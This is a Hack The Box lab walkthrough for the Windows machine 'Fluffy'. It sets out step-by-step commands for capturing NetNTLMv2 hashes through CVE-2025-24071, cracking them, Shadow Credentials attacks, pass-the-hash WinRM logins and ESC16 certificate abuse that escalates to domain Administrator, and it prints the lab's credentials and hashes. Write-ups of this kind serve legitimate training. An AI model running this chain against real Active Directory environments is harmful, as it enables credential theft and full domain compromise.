HTB - Fluffy (Windows) Walkthrough

Machine Information

Starting Credentials

Username: j.fleischman
Password: J0elTHEM4n1990!

Target IP

10.129.232.88

Initial Enumeration

Nmap Scan

As always, begin with a full service enumeration.

nmap -sC -sV -A 10.129.232.88

Relevant results:

Other observations:

• Domain: fluffy.htb

• Hostname: DC01.fluffy.htb

• SMB signing required

• Windows Domain Controller

Add the discovered hostnames to /etc/hosts:

10.129.232.88    fluffy.htb dc01.fluffy.htb

Since the target is a Domain Controller, LDAP, Kerberos, SMB, and AD CS should all be considered during enumeration.

SMB Enumeration

Enumerate available shares using the provided credentials.

smbclient -L //fluffy.htb/ -U j.fleischman

One of the accessible shares contains an internal PDF discussing recently disclosed vulnerabilities.

The document lists the following CVEs:

CVE-2025-24996
CVE-2025-24071
CVE-2025-46785
CVE-2025-29968
CVE-2025-21193
CVE-2025-3445

This is an important hint from the box author that one (or more) of these vulnerabilities is likely intended to be exploited.

Initial Foothold - CVE-2025-24071

The most interesting vulnerability is CVE-2025-24071, an information disclosure vulnerability that causes Windows Explorer to automatically authenticate to an attacker-controlled SMB server when processing a specially crafted .library-ms file contained inside a ZIP archive.

The authentication leaks a NetNTLMv2 challenge/response hash.

After generating the malicious archive and waiting for a privileged user to access it, the following NetNTLMv2 hash was captured:

p.agila::FLUFFY:f2d4d03967ef0e81:5C650EA2AAE0E9045BFC5F35534483A7:010100000000000080F31F5FFE07DD01349BD6686B25FFF700000000020008004D0041003200520001001E00570049004E002D0044005A0059004C004A00480037003000500045004D0004003400570049004E002D0044005A0059004C004A00480037003000500045004D002E004D004100320052002E004C004F00430041004C00030014004D004100320052002E004C004F00430041004C00050014004D004100320052002E004C004F00430041004C000700080080F31F5FFE07DD0106000400020000000800300030000000000000000100000000200000E296FE9F1A7A4DA7C17C9EAEEAFC5A55874DFBE978E8C823CB0A0D9637127F690A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320035000000000000000000

Cracking the NetNTLMv2 Hash

Since this is NetNTLMv2, use Hashcat mode 5600.

hashcat -m 5600 agila.hash /usr/share/wordlists/rockyou.txt

Recovered credentials:

Username: p.agila
Password: prometheusx-303

BloodHound Enumeration

Collect BloodHound data using the newly recovered credentials.

After importing the data into BloodHound, several interesting attack paths become apparent.

Interesting Accounts

winrm_svc

• Member of REMOTE MANAGEMENT

• Likely has WinRM access

• Excellent candidate for initial shell

ca_svc

• Member of CERT PUBLISHERS

• Likely involved with Active Directory Certificate Services

• Good candidate for certificate abuse

Escalating with p.agila

Add p.agila to the Service Accounts Group

Using the permissions discovered in BloodHound, add p.agila into the Service Accounts group.

bloodyAD \
-d fluffy.htb \
-u p.agila \
-p prometheusx-303 \
--host dc01.fluffy.htb \
add groupMember "service accounts" p.agila

This grants sufficient permissions to continue abusing both service accounts.

Shadow Credentials

Perform a Shadow Credentials attack against both service accounts.

certipy-ad shadow auto \
-u p.agila@fluffy.htb \
-p prometheusx-303 \
-account winrm_svc

certipy-ad shadow auto \
-u p.agila@fluffy.htb \
-p prometheusx-303 \
-account ca_svc

Both attacks recover:

• TGT

• NTLM hash

Recovered hashes:

winrm_svc
33bd09dcd697600edf6b3a7af4875767

ca_svc
ca0f4f9e9eb8a092addf53bb03fc98c8

Testing WinRM Access

Determine which account can log in remotely.

netexec winrm dc01.fluffy.htb \
-u winrm_svc \
-H 33bd09dcd697600edf6b3a7af4875767

netexec winrm dc01.fluffy.htb \
-u ca_svc \
-H ca0f4f9e9eb8a092addf53bb03fc98c8

Results:

• winrm_svc → WinRM enabled

• ca_svc → WinRM disabled

User Shell

Use Evil-WinRM with the recovered NTLM hash.

evil-winrm \
-i dc01.fluffy.htb \
-u winrm_svc \
-H 33bd09dcd697600edf6b3a7af4875767

Once connected, retrieve the user flag.

Privilege Escalation

Enumerate Active Directory Certificate Services

Using the recovered ca_svc hash, enumerate certificate templates.

certipy-ad find \
-u ca_svc@fluffy.htb \
-hashes ca0f4f9e9eb8a092addf53bb03fc98c8 \
-vulnerable \
-stdout

Enumeration reveals that the environment is vulnerable to ESC16.

ESC16 occurs when certificate security extensions are disabled globally on the Certificate Authority, allowing certain certificate mapping attacks.

Reference:

[https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally)

ESC16 Exploitation

Step 1 - Read the Existing UPN

certipy-ad account \
-u winrm_svc@fluffy.htb \
-hashes 33bd09dcd697600edf6b3a7af4875767 \
-user ca_svc read

Step 2 - Temporarily Change the UPN

Modify the ca_svc account so that its UPN becomes administrator.

certipy-ad account \
-u winrm_svc@fluffy.htb \
-hashes 33bd09dcd697600edf6b3a7af4875767 \
-user ca_svc \
-upn administrator \
update

This causes certificates issued to ca_svc to instead identify as the Administrator account.

Step 3 - Request a Certificate

Request a User certificate while authenticating as ca_svc.

certipy-ad req \
-u ca_svc \
-hashes ca0f4f9e9eb8a092addf53bb03fc98c8 \
-dc-ip 10.129.232.88 \
-target dc01.fluffy.htb \
-ca fluffy-DC01-CA \
-template User

The issued certificate contains:

UPN: administrator

Certipy saves the certificate as:

administrator.pfx

Step 4 - Restore the Original UPN

Always restore the modified account.

certipy-ad account \
-u winrm_svc@fluffy.htb \
-hashes 33bd09dcd697600edf6b3a7af4875767 \
-user ca_svc \
-upn ca_svc@fluffy.htb \
update

Step 5 - Authenticate with the Certificate

Authenticate using the issued certificate.

certipy-ad auth \
-dc-ip 10.129.232.88 \
-pfx administrator.pfx \
-u administrator \
-domain fluffy.htb

Successful authentication recovers Administrator's NTLM hash.

Administrator Shell

Use the recovered Administrator hash with Evil-WinRM.

evil-winrm \
-i dc01.fluffy.htb \
-u administrator \
-H <Administrator NTLM Hash>

Retrieve the root flag.

Attack Chain Summary

Initial Credentials
        │
        ▼
SMB Enumeration
        │
        ▼
Internal PDF References CVE-2025-24071
        │
        ▼
Capture NetNTLMv2 Hash
        │
        ▼
Crack Hash → p.agila
        │
        ▼
BloodHound Enumeration
        │
        ▼
Add p.agila → Service Accounts
        │
        ▼
Shadow Credentials
        │
        ├──► winrm_svc
        │        │
        │        ▼
        │   WinRM Shell
        │
        ▼
Shadow Credentials
        │
        ▼
ca_svc Hash
        │
        ▼
ESC16 Enumeration
        │
        ▼
Modify ca_svc UPN
        │
        ▼
Request Administrator Certificate
        │
        ▼
Authenticate with Certificate
        │
        ▼
Administrator Hash
        │
        ▼
SYSTEM / ROOT

Key Takeaways

• Always inspect internal documentation found on SMB shares; it often contains intentional hints or operational intelligence.

• CVE-2025-24071 can be leveraged to obtain NetNTLMv2 credentials through automatic SMB authentication.

• BloodHound is invaluable for identifying object control relationships and privilege escalation paths in Active Directory.

• Shadow Credentials (msDS-KeyCredentialLink) provide an effective method of obtaining authentication material without resetting passwords.

• AD CS remains one of the most powerful privilege escalation vectors in modern Active Directory environments. Enumerating certificate templates and CA configuration should be a standard step whenever Certificate Services are present.